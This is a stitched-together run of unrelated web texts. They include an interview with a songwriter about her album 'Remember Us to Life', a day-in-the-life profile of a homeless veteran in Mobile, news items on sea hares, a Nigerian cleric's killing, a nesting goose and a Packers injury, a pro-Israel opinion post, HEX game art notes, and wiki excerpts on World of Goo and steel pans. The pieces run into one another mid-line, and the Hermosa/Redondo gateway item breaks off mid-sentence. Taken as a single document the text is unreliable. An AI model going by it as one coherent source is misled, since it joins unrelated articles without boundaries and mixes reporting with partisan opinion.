I think it all has its purpose, and it all has its gift. There's something you are when you are very young that is very powerful. And maybe you don't ever get that particular thing ever again. I think the whole beauty of our human experience if we get the chance, if we get the length of time that a lifespan is—this is optimistic that we get to be old—we get to experience all of those things. 'Cause it would suck not to experience that feeling of "I'm absolutely invincible and I am smarter than everybody and good at everything" mindset that you have as a teenager and in your early 20s. Or like, "Yeah, I can take the subway at three in the morning, and I can play seven days a week and not get tired, and I can write a new song every day." But it goes away. But at that age, you're really trying things on. You're ingesting so much art and you're not maybe as much yourself. At least I wasn't. I wasn't as much myself back then as I am now. But you're molding yourself; you're your own sculpture. It's very important to have that time. I always wonder about kids doing it now because they're doing it in public. It's almost like you're doing it, but you're looking in the mirror all the time. When I was doing it I wasn't looking in the mirror—I didn't have a mirror. [Laughs] We didn't have Facebook, Instagram, all those things. I couldn't even record every idea I had. I didn't have a recording device in my phone.
Talk to me about your new album, Remember Us to Life. Did you feel as if these were songs you could not have written in your younger days?
It felt like I had never written songs like these before. I think some of it just comes with time. The way I see every record is sort of like getting to go to university for so many months. I'm going to take all the courses I want to. I've always wanted to experiment with this synthesizer or that orchestration. I treat them as a continuing education. You experiment with a certain amount of things and you get to a new place. I also think whenever you have a great new life experience, you join humanity in a new way. "Oh, this is what everybody's been writing or painting about for the last 1000 years!" That also happens with difficult things like death or grief. And it definitely happens in a giant way when you have a child. For instance, it dawned on me that I have incredible parents.
Yes, I've come to realize with every passing year that my parents were beyond amazing to me.
They loved me that much. Fuck! Why didn't anybody tell me? [Laughs] I was a shitty teenager. Why didn't I understand on that gut level that parents love their kids so much?
Shervin Lainez
I imagine your life experiences over the past year have helped put your life, career, and, well, everything into perspective. To that end, it's been 10 years since your breakout album, 2006's Begin to Hope. Is it easier now to focus on your craft seeing as the pressure and expectation that surrounded you at that time has somewhat subsided? Or does the accompanying anxiety remain?
I wonder about it. I think you're still how you are always: a person who gets anxious about certain things, they will always go through those modes. For me it has to do with my headspace on any given day. We have internal weather and it changes just like external weather, and it's different all the time. When we're in the storm, we forget that there might be a month stretch of incredible weather. I'm not going to guess why we're built that way, but if I was to venture a guess, it's to do with this constant need for a change of perspective and to experience life in a whole new kind of way. You never get that smooth-sailing, sure-footed thing. If you did, you won't be able to grow. Growth happens when you're pushed. There are days for sure where I really get it and I'm myself, and this is what I'm like, and this is what I do, and it feels rad. But there are other days where I'm like, "Who the fuck am I? Why don't I get any of this? Why am I getting it all wrong? Why does everything feel so painful?" Just a lot of "why." But in the end you are exactly who you were always and you're confused. There's something wonderful about that. It doesn't feel wonderful in the moment, but it only feels that way if you think of it in a big-picture kind of way. But you never figure it out. So beware of smug people who have it all figured out.
You've been labeled as a storyteller, which, in my opinion, is perhaps the biggest compliment a songwriter can be offered.
Exactly. It makes me really happy. My favorite artists are all storytellers. The truth is, even if you're not trying to be a storyteller, you end up telling stories. Our whole narratives are stories we tell ourselves,and sometimes we change them to fit what we need to believe. My tribe are fiction writers: When I say that, I mean short-story writers and novelists and songwriters and people who tell stories through painting, through dance. I love fiction. I love myth. I love fairy tales. I love everything that you can experience yourself on the backdrop of and learn something through how you reflect it.MOBILE, Alabama - Meet Frederick "Rick" Bush, a 44-year-old veteran who has been homeless for four weeks.
Bush is an unemployed construction worker and a former firefighter in the U.S. Air Force. He served from 1989-93, including during the Persian Gulf War. He was raised in Houston, is divorced and has two teenage sons, ages 13 and 15, who live with their mother in Mobile County.
He's also an ex-convict, having served time in prison for armed robbery in another state, and has faced possession charges in Mobile County. He's been in recovery since 2012 from addictions to alcohol, marijuana and cocaine. This isn't the first time he's been homeless. Last time, it lasted about three months.
Now, Bush says he is working to reinvent himself. He's in his second year of college, attending Phoenix University online under a Pell grant.
It's estimated that 26 percent of the people served by the Waterfront Rescue Mission are veterans, according to Executive Director Bill Bru. Not all have the same background or face the same challenges as Bush. But his story is not unfamiliar to mission workers.
His situation offers a glimpse into what happens on the streets of Mobile every day.
This is how Frederick "Rick" Bush spent his day on Tuesday, Oct. 7, a typical day for the homeless man that included a visit to the Veterans Administration, homework at a public library and trips to and from the Rescue Mission for meals.
8:47 a.m.: Bush sits on a bench in the courtyard of 15 Place, a center for the homeless, with other men who stayed Monday night and had breakfast at the Waterfront Rescue Mission next door. He outlines his main goal for the day -- logging into a computer at the Ben May Public Library a few blocks away to do homework for an online class he's taking at Phoenix University.
The day before, he didn't finish designing a pamphlet for his Intro to Human Services course. "I didn't make the deadline. I'll get 10 percent off," says Bush. "Once I get down to the library, everything is cool."
Bush plans to visit a Veterans Administration office on Springhill Avenue. He will seek legal help to clear up an extradition warrant he says was wrongly issued after his incarceration for armed robbery in 1993. It's holding up his veterans benefits, Bush says.
8:57 a.m.: He stops in the hall at 15 Place -- next door to the mission -- to speak to Renaldo Bryant, who's a representative with Alabama Career Services Center, one of the agencies serving the homeless during the day. Bryant is helping Bush seek part-time work. "I asked him if he made a referral to VA Justice," Bush explains. "I've been trying to get that off my record for the last two years."
Most people seeking help at the Waterfront Rescue Mission can only stay three nights a month. After Monday, it appears that he'll have only two more days before he tries somewhere else, such as the Salvation Army.
In the courtyard between 15 Place and the Waterfront Rescue Mission, program manager Sam Bradley explains that people entering at Level 4 can have five nights to stay as long as they're seeking work. Their cases are reassessed the following week. Veterans who have qualified to seek government housing can enter Level 5, but they must meet certain requirements: They have to stay each night at the mission and be readily accessible to their case worker. Both levels require passing breathalyzer and drug tests.
Bush says the availability requirement for Level 5 makes it hard for him to keep up with school. He tells Bradley, "I've got my three days with y'all. It's hard for me going to school and not having somewhere to lay my head."
"You might not qualify for the VA (program), but you can get those (Level 4) blocks of time," Bradley suggests. He reminds Bush to return at noon for lunch, for which he has already signed up.
The two shake hands. "You be good," the program manager says.
9:21 a.m.: Bush cross a lawn near the Mobile County Health Department, heading for Springhill Avenue. It's a warm 73 degrees under sunny skies. If it were raining, says Bush, he'd be at 15 Place. "I wouldn't be going anywhere," he says.
Bush wants to visit the Department of Veterans Affairs office on Springhill Avenue to try to reach the justice specialist to get help with the outstanding warrant. As he strides past Moms & Babies Supermarket and Beauty Island, he explains that he wants to finish his degree in Human Services and start helping others. "My ultimate goal is to get a help service (started)," he said. "I'd probably model it after what the VA does - an extended stay program for vets."
9:57 a.m.: He enters the VA outpatient clinic and asks how to find the specialist who helps veterans with legal problems. He can't remember the person's name but is given the go-ahead to take the elevator to the sixth floor to find a social worker. Bush is told that the justice is part-time and isn't in today. When he returns to the first-floor clinic, he uses a public phone to call 15 Place to give a case worker the news.
"They didn't know (the legal aide's) name or number," Bush says, adding that he was told that the VA official works from his home. The last time Bush spoke with a VA legal aide, it was in Biloxi, Miss. "It was like he was (being) patronizing," he recalls. "He called people in Idaho, and they stalemated him. He was done with it. I said, 'Thank you and have a nice day.'"
As he waits for a WAVE Transit bus to downtown, Bush talks about why he isn't enrolled in the Level 5 program at the Waterfront Rescue Mission. He says the requirements for appointments and overnight stays make it difficult for him to finish his online classes. "Once you start missing appointments... they move on to the next person," he says. "I'm really just concerned about getting whatever I have to get done today, so I can concentrate on school."
He says he didn't realize until he started classes at his previous online college, Fortis, that he could have made good grades all along. He chose online courses because he wasn't comfortable in a classroom setting such as at Bishop State Community College nearby. "Unfortunately, some of us don't realize it until it's too late," he says. "As far as being stable and responsible, I overstayed my time at the party. You live and learn."
Bush relates how he injured his shoulder in the Air Force during a football game at RAF Upper Heyford in Oxfordshire, England. He also suffered hearing loss from working on the flight line. His VA disability benefits, which were delayed while he was in prison, stopped again once the warrant was issued.
Bush says that if he can get a part-time job and get the benefits reinstated, "I won't have any problems." The goal, he says, is to "reinvent myself."
"The day-to-day thing is what gets you, as far as, 'Do I go ahead and swallow my pride and go ask Mama can I stay with her?'" he says, adding that she lives on Leroy Stevens Road in west Mobile. "I really don't want to go back to Mama. She just got married."
He hasn't seen his sons in about a month. "I talk to them every week. They're good boys," he says. "They're hitting the age where they're old enough to know what's going on. Some years, I wasn't around for them at all."
10:38 a.m.: The WAVE bus arrives. Bush plunks in quarters for the fare and takes a seat in the back. Above one window is an ad for Virginia College, another online university, showing a young man in a black beret, saluting. The bus passes Father Ryan Memorial Park, where Bush sometimes stays overnight if he has nowhere else to go.
As he steps off the bus on Dauphin Street, he outlines his schedule, which includes walking a few blocks to the library. He borrows a cigarette from a man outside McDonald's and pauses on a bench at the library to smoke it. "We've got an hour and 15 minutes," he says. "I'm going to go up here and log in and do some work."
11 a.m.: Bush signs in to a computer located in an aisle of the reference section between rows of books. On one side are volumes about firearms. On the other are books about primatologist Jane Goodall.
11:42 a.m.: Bush checks the spelling for a word he wants to use in his pamphlet-design assignment. Eight minutes later, he exclaims, "I'm not finished!" but logs off anyway. He has to make it back to the mission for lunch.
12:07 p.m.: Bush arrives at the mission for the noon "late lunch," which means he must sit in the chapel until his name is called. People who came earlier for chapel are already eating in the dining hall. A staffer checks the roll on a clipboard and calls out "Fred" Bush instead of "Rick." Bush doesn't correct him.
Bush takes his place in line at the "Walmart Kitchen," named for the discount chain's corporate support. He thanks the workers as they hand him a plate containing a ham sandwich with lettuce and tomato, a salad, pear and sweet roll. He gets a glass of iced tea and takes a seat between two other guys at a round table in the mission dining hall. The hall seats about 90 but is only partially full.
12:26 p.m.: The lunch counters are shuttered. Bush explains that he's going to spend an hour talking with some guys at the mission about a job they want him to do, which involves towing a car from Spanish Fort. After that time, he says, he'll head back to the library.
Bush needs to return to the mission by 5 p.m. in order to have supper. Chapel is at 6:30 p.m., he explains, and everyone who is staying is inside for the night by 8:30 p.m.
4:42 p.m.: Bush steps through the double glass doors to register for overnight stay at the Waterfront Rescue Mission. He gets out his Alabama driver's license and shows it to the person behind the check-in counter. "I'm doing alright," he says. He is told to bring a document proving he's in school, and he'll be able to get in the Level 4 program for a longer term stay. "I'll get something copied tomorrow," he promises.
The staffer assures him: "We can talk about that tonight."
Bush passes through double doors and sets down a black duffel. He digs through its contents to find clothes for changing. Like everyone staying at the mission, he must check out a towel and bath cloth and take a shower before he is issued linens for one of the bunk beds. The mission, which is newly constructed, smells of Clorox.
"Can I have a razor?" he asks. The evening chaplain obliges.
4:55 p.m.: Bush comments on his day as he heads for the showers. "It was good," he says. "I got most of my work done."
(Update: By Monday, Bush had been admitted to the Level 4 program for "client volunteers" at the Waterfront Rescue Mission, which assures him a five-night stay each week while he gets help finding housing. This past weekend, he stayed with his mother in west Mobile. Bush said he had called the VA twice regarding legal aide but had not heard back.)Breyden Parsen gingerly walked among the cobblestone rocks at San Onofre State Beach, searching for the slimy, shiny creatures lining the shore as if he were on a treasure hunt.
“There’s one!” the 4-year-old San Clemente resident shouted, the glistening waves breaking just a short distance away on a recent day. “And another one!”
Parsen had discovered what many beachgoers have accidentally stumbled across in recent months: big, black slimy sea slugs that feel squishy under the toes if accidentally stepped on.
Ocean Institute Marine Biologist Julianne Steers said the Black Sea Hares — the largest of the sea slug species — are experiencing a noticeable rebound. She called the Aplysia vaccaria species “one of the most spectacular marine creatures we have along our coast.”
While biologists have noticed a small increase in the Black Sea Hares during dives the past few years, they have seen a greater jump in their numbers along the shoreline in recent months — from San Clemente and Corona del Mar to the south, to near Redondo Beach and beyond to the north, Steers said.
“It’s definitely a sign of a healthier ocean. We still have a way to go, but it’s definitely a rebound,” she said.
Steers said this particular sea hare species — which can grow upward of a couple of feet in length and top 20 pounds — hasn’t been seen in big numbers for at least a decade. She credits the increased population to recent algae blooms that have helped feed the sea hares.
They’re even more visible this week, with the extreme low tides allowing for better viewing of creatures when the water recedes back and they rest on rocks or on the sand.
Steers said the sea hares look like squishy rocks.
“It can blend in with all the other boulders and stones, as well as tar,” she said. “It’s the same color.”
Breyden’s mom, Savannah, encountered some sea hares lazily lingering after she took a dip into the shallow water at San Onofre.
“They’re everywhere,” she said. “You can see them floating all over the place.”
The slugs seen at San Onofre and Doheny State Beach are about the size of a hand, and during low tide they lay on or wedge between rocks or in small pools of water.
“Most often, they are somewhere in the 6- to 10-pound range,” Steers said. “They get that big by consuming a buffet of algae. It’s definitely not your garden variety snail.”
She said their cousin, the smaller California sea hares, are likewise rebounding after a population decline.
These slugs squirt purple ink if they feel threatened. “That way they can get away or they can deter or distract their potential predators,” she said.
Steers said though it might be tempting to pick them up, they are better left alone to thrive in their environment.
“The more we observe and learn with their lives, the more the species can grow and proliferate and be a strong member of our ecosystem,” she said.
They have short life spans, she said, and will die if they are on shore and exposed for too long. The ones left on dry land after low tide will likely be washed back when the tide rises again.
“It always puts a smile on my face — it’s nice to see a species we haven’t seen in a number of years make a rebound,” she said. “For me as a biologist, the opportunity to observe and learn more than you can from a book, observing and having that experience of seeing a seasonal or annual cycle, definitely aides in the continuing of my education as well.”
Ali Huerta, a 22-year-old surfer from Mission Viejo, felt the slimy creatures under her toes after a San Onofre surf session Thursday, Oct. 5, when she accidentally stepped on a few while making her way back to shore.
“They are really, seriously slimy,” she said. “I like when there’s animals in the water, it’s kind of cool. I also don’t want to squish them, I feel bad.”I hate to break the news to you, but until Jesus Christ himself returns there will be no peace in the Middle East.Not. Gonna. Happen.American foreign policy should be premised on strongly defending Israel and dealing with as friends those states who remain at peace with Israel.I realize the American media does a very poor job of it, but as Jeff Emanuel noted yesterday, even today there are near daily rocket attacks on Israeli civilians from Gaza. While Palestinian spokesmen go on English language television and proclaim their undying devotion to the peace process, the very same people go on Arab television and proclaim death to Israel, death to the Jew, and pledge to push the Jewish state into the sea.The American media rarely focuses on that because they are too busy focusing on the Israeli response to terror as some sort of provocation.Keep in mind that Hamas is still holding a kidnapped Israeli soldier hostage as collateral for negotiation. He’s been in captivity for several years.You cannot have peace with those who would kill you and have radicalized their people against you as a way to distract those same people from the cruelty inflicted on them by their own leaders. Golda Meir once said that “Peace will come when the Arabs will love their children more than they hate us.” As long as Palestinians are strapping bombs to their children and teaching them to hate Jews, that will never happen.Obama would be better off focusing on jobs, or at least learning how not to kill off any more in the private sector.
Share on Facebook Share on TwitterKADUNA, Nigeria (Reuters) - A Nigerian Muslim cleric who openly criticized Islamist sect Boko Haram has been killed in Zaria, hundreds of miles from where the military is fighting insurgents, police said on Monday.
Gunmen opened fire on Sheik Adam Albani’s car on Saturday evening as he drove home from preaching in a mosque, also killing his wife and young son, police spokesman Aminu Lawan said.
Western governments see prominent leaders like Sheik Albani playing a role in the long-term fight against Boko Haram and other al Qaeda-linked groups, in a deeply religious country of 170 million people.
The assassination of Sheik Albani in Zaria, the capital of Kaduna state in a central northern region, could discourage others from speaking out against Boko Haram, whose primary recruiting pool is the millions of uneducated youths in the north of Nigeria.
President Goodluck Jonathan is struggling to end a four-and-a-half year insurgency by Boko Haram but a military push begun in May last year has largely confined bloodshed to the country’s remote northeast corner, where the group originates and has most support.
The sect has killed thousands in its attempt to carve out an Islamic state in a country split roughly equally between Christians and Muslims. It has attacked anyone who appears to oppose its insurgency, from security targets to schools, churches and mosques where its ideas are rejected.
Boko Haram, which has been designated a terrorist organization by the United States, is considered the biggest security threat in Africa’s top oil exporter and second-largest economy.
More than a hundred people were killed last week in two attacks in northeast states under a state of emergency, including a siege at a packed church service.On a median, in a parking lot, surrounded by caution tape, there is a little surprise for local shoppers nowadays.
"Oh my gosh, she's so cute. And of all places...," says, Bridgette Epp, a customer.
(No, no. We know what you're thinking, and we aren't talking about the Target rock! That thing is still in retirement.)
Across the street from a creek, at the Littleton Whole Foods on Wadsworth, is a mother goose and her four eggs.
"We just came in one day, and we saw two geese just kind of hovered around this area," says Tony Nemec, the store's team leader. "Wasn't really sure what she was up to. She just hung out there for the first day, and noticed she was building a nest."
It wasn't until the following day, two-and-a-half weeks ago, when the goose laid her eggs just by the Whole Foods front door. Staff made a call to Parks & Wildlife, which said leaving Mother Goose and her eggs there, unbothered, would be best for her and the dad.
Goose sets up nest in median at Littleton Whole Foods lot
"They assured us that the best thing to do was just to leave her alone... and maybe put a barricade around them, and that's what we did," Nemec says. "Maybe she knows we're going to take care of her."
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And take care of her, they have. The Whole Foods team fills a kiddie pool for her to swim in every day, which a customer set up right next to the median. Other customers have been bringing out corn and greens for her to eat.
Dad, who has affectionately been named Jason, was hit by a car about a week ago. Nemec says he usually hangs out at the creek, but he has mostly recovered and still comes to check on Mom a few times a day.
The store expects the chicks will be born around May 5. They've already got a plan in place, in case Mom wants to take the babies over to the creek with Jason.
"I'm pretty excited to see the baby goose running around the parking lot. We're hoping they'll be safe. We have the police and animal control on call, so if she needs to cross Wadsworth with her little ones, they'll guide her through. They've already agreed to that," Nemec says.
This is the first year they've had a goose nest in the median. Nemec says a few goose experts have reached out to them; they say a goose will come back to nest for decades in the same space, if they're comfortable.
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Copyright 2017 KUSAPackers Blog The Journal Sentinel's team of Packers beat writers provide the latest news, notes and analysis SHARE
By of the
Miami Gardens, Fla. - Sam Shields isn't realy sure about his left knee except for one thing.
"It hurts," the Packers cornerback said after being forced from the Packers' 27-24 victory over the Dolphins at Sun Life Stadium.
Shields was walking on his own after the game, but he has a knee injury that the Packers will have to re-examine when they return home. Shields said the doctors told him it was the patellar tendon injury.
Asked if he they told him it was torn, which would be a season-ending injury, Shields said no.
"I doubt it," he said. "I don't think so."
Typically a ruptured patellar results in a disclocated knee cap and is season-ending. But the way Shields went down in the third quarter raises some concern for the Packers.
"It came out of nowhere," Shields said. "I don't know what happened."
Shields was milling about with the other defensive backs before the first play of a Dolphins series that started with 3:44 left in the third. He started to jog out to his left corner position, then all of a sudden pulled up and started hopping on his right leg.
He turned around and started to walk across the field toward the Packers bench when the Dolphins broke their huddle. He saw that WR Mike Wallace was going to be wide open, so he spun around and started to jog back to his position.
Realizing he couldn't play, he raised his arm and then dropped to his backside. Teammates Tramon Williams and Ha Ha Clinton-Dix alertly signaled for timeout.
"He said all of a sudden it happened," said cornerback Casey Hayward. "I'm not sure what happened."
Davon House wound up coming in to replace Shields in the base defense, but a short time later, Hayward found himself there also when one play later Williams injured his left ankle when teammate Brad Jones landed on the back of his legs.
That was it for Williams.
The Packers played the rest of the game without both Shields and Williams. Hayward took over for Williams and Jarrett Bush wound up playing the nickel slot position.
"We're always told, you have to be ready at all times," said Hayward, who earlier in the game had an interception. "You never know, especially in these conditions, especially when it's so hot. You just never know when your number is going to be called."
Coach Mike McCarthy did not release any information on the severity of Williams and Shields' injuries but the fact they couldn't finish doesn't bode well for their status next week.Art Feature: The Vennen
Ever wonder what would happen if the spider was the one smacking you against the wall? The Vennen, Orc-spider hybrids, are vicious and have plans to exterminate every other living creature on Entrath. To communicate that sinister style, we gave their legs very sharp angles, points, and had that armor echo the Vennen body.
Vennen are bred from the eggs of Xentoth, the Primal of Blood Magic, and therefore are all male. The Vennen capture Orcs and spin them in webbing, leaving them as food for the newly hatched as you can see in Incubation Slave by Filip Acovic.
In the case of the Vennen Ranger, we wanted the weaponry to work within the Vennen style and look more like an extension of the Vennen itself. Here’s Jim Pavlec’s sketch.
And below is the final for your Vennen Ranger player character.
For those of you planning to level a Warrior, here’s Tomek Jedruszek’s piece.
And for you Cleric players, here’s Ikari Studio’s piece.
Finally, for all you PVP fans out there, here’s Xarlox the Brood Lord from Jakub Kasper. You can see the spiders he spawns pop out from under him. Gross!
We hope you loved the Vennen as much as we do and you’ll see even more Vennen when HEX goes live. Let us know what you think in the forums via the link below.
Discuss this article in our forums!Hermosa/Redondo gateway to open by June
By David Mendez
The Herondo Street/Harbor Drive Gateway Project, a $4.7 million project that’s been “years in the making,” finally has a grand opening date: June 13 — though the project, city officials say, is set to be rideable by Memorial Day.
Redondo Beach Public Works Commissioner Jim Hannon mentioned the date, which was later confirmed by Redondo Beach City Manager Joe Hoefgen, following a presentation of a proposed five-year Capital Improvement Program for the city at a recent meeting of the city’s Public Works Commission.
According to Hoefgen, the city is holding off on the grand dedication in part to ensure that its partners and supporters in the endeavor, including the City of Hermosa Beach, Beach Cities Health District and South Bay Bicycle Coalition, are able to participate.
“We’re going to have hundreds of people ready to pass through on bicycles,” Hoefgen said.
The Herondo Street/Harbor Drive Gateway Improvement Project made waves when it was announced, in part due to the demolition of the decades-old wall separating the cities of Hermosa and Redondo.
A bi-directional bike path — the first of its |
.I.C.E. Summit, Nintendo announced that it would publish World of Goo in Japan during the second quarter of 2009;[19] the game was released on April 21, 2009 under the title Planet of Goo (グーの惑星, Gū no Wakusei).[20]
World of Goo was made available through Microsoft's Windows Games on Demand marketplace as a Games for Windows – Live title on December 15, 2009.[21][22] World of Goo was also ported to iOS, to iPad in December 2010 and to iPhone in April 2011. On October 3, 2011, 2D Boy announced that they would port World of Goo to Android, which was released on November 28, 2011. It was available to both Android phones and tablets with demo and full versions available. Tomorrow Corporation, formed by Gabler in 2010 along with his former EA colleagues Allan Blomquist and Kyle Gray, would develop and publish World of Goo for the Nintendo Switch which was released in March 2017.[23] The Japanese version was later released in May 2017 by Flyhigh Works.[citation needed]
Soundtrack [ edit ]
The World of Goo soundtrack was created by Kyle Gabler, who also designed, wrote and illustrated the game. It was released as a free download on January 20, 2009.[24]
The song "World of Goo Beginning" was created with the intention of resembling Libertango by Ástor Piazzolla. "Regurgitation Pumping Station" was originally written for a friend's short film about going on a date with the devil. "Threadcutter" was originally written for a game called Blow which Gabler made available on his site. "Rain Rain Windy Windy" was originally written for the soundtrack for a short children's film, commenting that writing children's music is difficult. "Jelly" was originally written for a short film about a virtual reality world. "Burning Man" was written for a friend's drama/mystery series. He made it by recording two friends singing single notes, and then using a keyboard to make it sound like a choir. "Cog in the Machine" was originally written for another game of his called Robot and the Cities who Built Him.[24]
World of Goo Soundtrack No. Title Length 1. "World of Goo Beginning" 1:09 2. "The Goo Filled Hills" 0:25 3. "Brave Adventurers" 1:07 4. "Another Mysterious Pipe Appeared" 1:18 5. "World of Goo Corporation" 0:17 6. "Regurgitation Pumping Station" 3:40 7. "Threadcutter" 0:55 8. "Rain Rain Windy Windy" 2:45 9. "Jelly" 2:38 10. "Tumbler" 1:52 11. "Screamer" 1:36 12. "Burning Man" 1:49 13. "Cog in the Machine" 4:03 14. "Happy New Year (tm) Brought to You by Product Z" 0:55 15. "Welcome to the Information Superhighway" 1:56 16. "Graphic Processing Unit" 1:06 17. "Years of Work" 3:39 18. "My Virtual World of Goo Corporation" 1:05 19. "Hello, MOM" 0:06 20. "Inside the Big Computer" 2:21 21. "Are You Coming Home, Love MOM" 3:02 22. "Ode to the Bridge Builder" 1:25 23. "The Last of the Goo Balls and the Telescope Operator" 1:00 24. "Best of Times" 3:41 25. "Red Carpet Extend-o-matic" 4:04 26. "World of Goo Corporation's Valued Customers" 0:13 27. "World of Goo Ending" 1:09
Reception [ edit ]
Reception Aggregate score Aggregator Score Metacritic (PC) 90/100[25]
(WII) 94/100[26]
(iOS) 96/100[27]
(NS) 84/100[28] Review scores Publication Score 1UP.com (WII) A[29] Eurogamer (WII) 10/10[30]
(PC) 9/10[31] GameSpot (WII) 9/10[32] IGN (WII) 9.5/10[33] Nintendo World Report (WII) 10/10[34] ONM (WII) 95/100[35]
Both Wii and Windows versions of World of Goo received critical acclaim, holding an aggregate score from Metacritic of 94/100 and 90/100 respectively.[26][25] Eurogamer called World of Goo "Physics' latest, purest, and most brilliant gift."[31] IGN said of the Wii version "World of Goo is an amazing WiiWare game that you simply must buy for this is exactly the type of software that needs both recognition and support", finding only minor fault with the camera controls and lack of a level editor.[33] 1UP.com said "World of Goo isn't "just" anything—except, that is, one of just a handful of truly excellent original games for the Wii."[29] Nintendo World Report criticized the "slow start" of the game, but otherwise praised it as "easily the best WiiWare game to date and, perhaps, one of the best this generation."[34] ';Resolution Magazine;; referred to it as "an instant classic," awarding it 90%.[36] Official Nintendo Magazine awarded the Wii version a score of 95%, claiming it to be "Virtually flawless".[35] The magazine also ranked it as the 83rd best game available on Nintendo platforms. The staff called it the best WiiWare game "by a long shot."[37]
World of Goo has won many awards. It won Best Independent Game from the Spike TV Video Game Awards show,[38] and won six Wii-specific awards and one for the PC, including Best Puzzle Game, Best Artistic Design, Best WiiWare Game, Best New IP, Most Innovative Design, and Game of the Year from IGN.[39] GameSpot awarded it as the Best Game No One Played.[40] It was featured in Eurogamer's top 50 games of 2008 in the tenth slot.[41] Peter Moore, the head of EA Sports, in a rant about FIFA 09 being missing from Eurogamer's list, commented that he was surprised World of Goo was included up so high in the list, despite not having played it.[42] 2D Boy responded by saying they were honored that World of Goo had this much mainstream awareness, and that it derives sick pleasure from the "industry big-wig's indignant, self-righteous incredulity". In 2010, the game was included as one of the titles in the book 1001 Video Games You Must Play Before You Die.[43]
Sequel [ edit ]
2D Boy initially stated that they would not be producing a sequel.[44] In a November 2010 entry on the World of Goo blog, Kyle Gabler stated that "a second World of Goo is a possibility and something we would enjoy working on."[citation needed]
Notes [ edit ]
^ The last winter level, Product Launcher, has "happy new year" as its tagline. This is similar to Northern Hemisphere seasons. ^ "Lately, its output has been less than satisfactory." – Fly Away Little Ones, Little Miss World of Goo, World of Goo"Steel drum" redirects here. For the container, see Drum (container)
Steel pan Percussion instrument Other names Steel drum, pan Classification Percussion Hornbostel–Sachs classification 111.241.12, 111.241.22
(Gongs with divided surface sounding different pitches, Sets of gongs with divided surface sounding different pitches) Developed 1880–1937 Playing range G1–F6
Steelpans (also known as steel drums or pans, and sometimes, collectively with other musicians, as a steel band or orchestra) is a musical instrument originating from Trinidad and Tobago. Steel pan musicians are called pannists.
The modern pan is a chromatically pitched percussion instrument made from 55 gallon industrial drums that formerly contained chemicals.
Drum refers to the steel drum containers from which the pans are made; the steel drum is more correctly called a steel pan or pan as it falls into the idiophone family of instruments, and so is not a drum (which is a membranophone). Steel pans are the only instruments made to play in the Pythagorean musical cycle of fourths and fifths.[citation needed]
The pan is struck using a pair of straight sticks tipped with rubber; the size and type of rubber tip varies according to the class of pan being played. Some musicians use four pansticks, holding two in each hand.[1] This skill and performance have been conclusively shown to have grown out of Trinidad and Tobago's early 20th-century Carnival percussion groups known as Tamboo bamboo.[citation needed] The pan is the national instrument of Trinidad and Tobago.
Origin
French planters and their slaves immigrated to Trinidad during the French Revolution (1789) from Martinique, including a number of West Africans, and French creoles from Saint Vincent, Grenada, Saint Lucia and Dominica, establishing a local community before Trinidad and Tobago were taken from Spain by the British. The celebration of carnivale had arrived with the French. Slaves, who could not take part in carnival, formed their own parallel celebration called canboulay.[citation needed]
Stick-fighting and African percussion music were banned in 1880, in response to the Canboulay Riots. They were replaced by bamboo sticks beaten together, which were themselves banned in turn. In 1937 they reappeared in Laventille, transformed as an orchestra of frying pans, dustbin lids, and oil drums. These steelpans are now a major part of the Trinidadian music scene and are a popular section of the Canboulay music contests. In 1941, the United States Navy arrived on Trinidad. The pannists, who were associated with lawlessness and violence,[citation needed] helped to popularize steelpan music among the soldiers, which began its international popularization. Steel pan playing was strictly a male activity until the late 1970s/early 1980s. It was not seen as an appropriate activity for women. At the time of the steel pan's popularity in Trinidad it was seen as being associated with a violent or derelict crowd. It was unacceptable for women to be involved in such activities. Culturally the stigma was focused on the idea that women belonged in the home or with the children and not out in the street with the pan players. As the instrument became more mainstream women were allowed to join and the stigma that went along with playing the instrument subsided. [2] [3]
The first instruments developed in the evolution of steelpan were Tamboo-Bamboos, tunable sticks made of bamboo wood. These were hit onto the ground and with other sticks in order to produce sound.[4] Tamboo-Bamboo bands included percussion of a (gin) bottle and spoon. By the mid-1930s, bits of metal percussion were being used in the tamboo bamboo bands, the first probably being either the automobile brake hub "iron" or the biscuit drum "boom". The former replaced the gin bottle-and-spoon, and the latter the "bass" bamboo that was pounded on the ground. By the late 1930s their occasional all-steel bands were seen at carnival, and by 1940 it had become the preferred carnival accompaniment of young underprivileged men.[citation needed] The 55-gallon oil drum was used to make steelpans from around 1947.[citation needed] The Trinidad All Steel Percussion Orchestra (TASPO), formed to attend the Festival of Britain in 1951, was the first steelband whose instruments were all made from oil drums. Members of TASPO included Ellie Mannette and Winston "Spree" Simon. Hugh Borde led the National Steel Band of Trinidad & Tobago at the Commonwealth Arts Festival in England, as well as the Esso Tripoli Steel Band, which played at the World's Fair in Montreal, Canada, and later toured with Liberace. They were featured on an album with him.[5]
Evolution and developments
Anthony Williams designed the "fourths and fifths" arrangement of notes, known as the cycle of fifths. This has become the standard form of note placement for lead pans. Other important developments include the tuning of harmonic overtones in individual notes, developed simultaneously and independently by Bertie Marshall and Alan Gervais.[citation needed]
The Caribbean Research Institute CARIRI investigated possibilities to mass-produce raw forms with the use of pressing machines in the 1970s. Much of this project took place in Sweden in collaboration with the Saab Company. Although first results were promising, the project has been abandoned due to lack of finances and support by local pan tuners in Trinidad.[citation needed] Another method of shaping the pan was attempted: by spinning. The pan was spun on a lathe-like device, and a roller on the end of a bar was used to sink the pan. While this did create pre-sunk pans, a problem was that there would often be scratches and grooves in the steel.[citation needed]
Since the steel is stretched and thin, any scratch will expand and often crack. Usually, drums have lettering embossed into the bottom. If done carefully, these can sometimes be stretched without breaking, but cracks around lettering on some drums is common.[citation needed] To avoid this problem, makers position the inner notes to avoid most of the letters. Brazing over the holes and grinding, will often fix the problems, without damaging the sound, but it has to be done nearly at the end of the sinking process and well before any final shaping.[citation needed]
A Swiss steel pan manufacturer (PANArt) researched the field of fine-grain sheet steel and developed a deep-drawn raw form which was additionally hardened by nitriding. This process, and the new instruments they called pang, were presented at the International Conference of Steel pan and Science in Port-of-Spain in 2000.[6]
Electronic steel pans have also been developed. One such version is the E-Pan,[7] invented by Salmon Cupid, who holds utility patents for it.[8] Another is the Percussive Harmonic Instrument (PHI).[9]
Construction
